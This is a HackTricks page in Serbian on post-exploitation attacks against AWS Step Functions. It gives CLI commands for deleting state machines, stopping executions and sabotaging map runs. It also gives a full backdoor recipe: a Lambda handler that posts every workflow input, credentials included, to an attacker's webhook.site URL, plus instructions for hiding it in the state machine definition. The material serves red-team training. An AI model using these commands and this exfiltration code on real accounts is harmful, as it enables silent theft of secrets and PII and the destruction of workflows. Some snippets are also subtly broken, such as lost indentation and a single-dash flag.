AWS - Step Functions Post Exploitation

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Step Functions

Za više informacija o ovoj AWS usluzi, pogledajte:

AWS - Step Functions Enum

states:RevealSecrets

Ovo dopuštenje omogućava otkrivanje tajnih podataka unutar execution-a. Da bi se to postiglo, potrebno je podesiti Inspection level na TRACE i revealSecrets parametar na true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Napadač sa ovim privilegijama mogao bi trajno obrisati state machines, njihove versions i aliases. Ovo može poremetiti kritične tokove rada, dovesti do gubitka podataka i zahtevati značajno vreme za oporavak i vraćanje pogođenih state machines. Pored toga, omogućilo bi napadaču da prikrije tragove, ometa forenzičke istrage i potencijalno paralizuje operacije uklanjanjem ključnih automatizovanih procesa i konfiguracija stanja.

Note

  • Deleting a state machine you also delete all its associated versions and aliases.
  • Deleting a state machine alias you do not delete the state machine versions referecing this alias.
  • It is not possible to delete a state machine version currently referenced by one o more aliases.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potencijalni uticaj: Poremećaj kritičnih tokova rada, gubitak podataka i operativni zastoj.

states:UpdateMapRun

Napadač sa ovom dozvolom mogao bi да manipuliše Map Run konfiguracijom za greške i paralelnim podešavanjem, povećавајући или smanjuјући maksimalan broj dozvoljenih izvršavanja podređenih tokova rada, što direktno utiče на performanse servisa. Pored toga, нападач би могао да мења проценат и број толерисаних грешака, смањујући ову вредност на 0, тако да сваки пут када једна ставка zakaže, ceo map run би paо, директно утичући на state machine извршавање и потенцијално ометајући критичне токове рада.

aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potencijalni uticaj: Pogoršanje performansi i prekid kritičnih radnih tokova.

states:StopExecution

Napadač sa ovom dozvolom može zaustaviti izvršavanje bilo koje state machine, ometajući tekuće tokove rada i procese. To može dovesti do nepotpunih transakcija, zaustavljenih poslovnih aktivnosti i potencijalne korupcije podataka.

Warning

Ova akcija nije podržana za express state machines.

aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potencijalni uticaj: Prekid tekućih tokova rada, operativni zastoji i potencijalno oštećenje podataka.

states:TagResource, states:UntagResource

Napadač može dodati, izmeniti ili ukloniti tagove sa Step Functions resursa, narušavajući raspodelu troškova organizacije, praćenje resursa i politike kontrole pristupa zasnovane na tagovima.

aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potencijalni uticaj: Poremećaj alokacije troškova, praćenja resursa i politika kontrole pristupa zasnovanih na tagovima.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Napadač koji kompromituje korisnika ili ulogu sa sledećim dozvolama:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

…može izvesti high-impact and stealthy post-exploitation attack kombinovanjem Lambda backdooring sa Step Function logic manipulation.

Ovaj scenarij pretpostavlja da žrtva koristi AWS Step Functions to orchestrate workflows that process sensitive input, kao što su credentials, tokens, ili PII.

Primer poziva žrtve:

aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Ako je Step Function konfigurisana da pozove Lambda kao LegitBusinessLogic, napadač može nastaviti sa dve prikrivene varijante napada:


Ažurirana Lambda funkcija

Napadač menja kod Lambda funkcije koju Step Function već koristi (LegitBusinessLogic) kako bi tiho exfiltrate ulazne podatke.

# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Dodajte zlonamerno stanje u Step Function

Alternativno, napadač može ubaciti exfiltration state na početak toka rada ažuriranjem definicije Step Function.

{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Napadač može još prikrivenije da ažurira definiciju stanja u nešto poput ovoga

{ “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } gde žrtva neće primetiti razliku


Podešavanje žrtve (Kontekst za eksploataciju)

  • Step Function (LegitStateMachine) se koristi za obradu osetljivih korisničkih unosa.
  • Poziva jednu ili više Lambda funkcija kao što je LegitBusinessLogic.

Potencijalni uticaj:

  • Tihi exfiltration osetljivih podataka uključujući secrets, credentials, API keys i PII.
  • Nema vidljivih grešaka ili neuspeha pri izvršavanju workflow-a.
  • Teško otkriti bez revizije Lambda koda ili execution traces.
  • Omogućava long-term persistence ako backdoor ostane u kodu ili u ASL logici.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks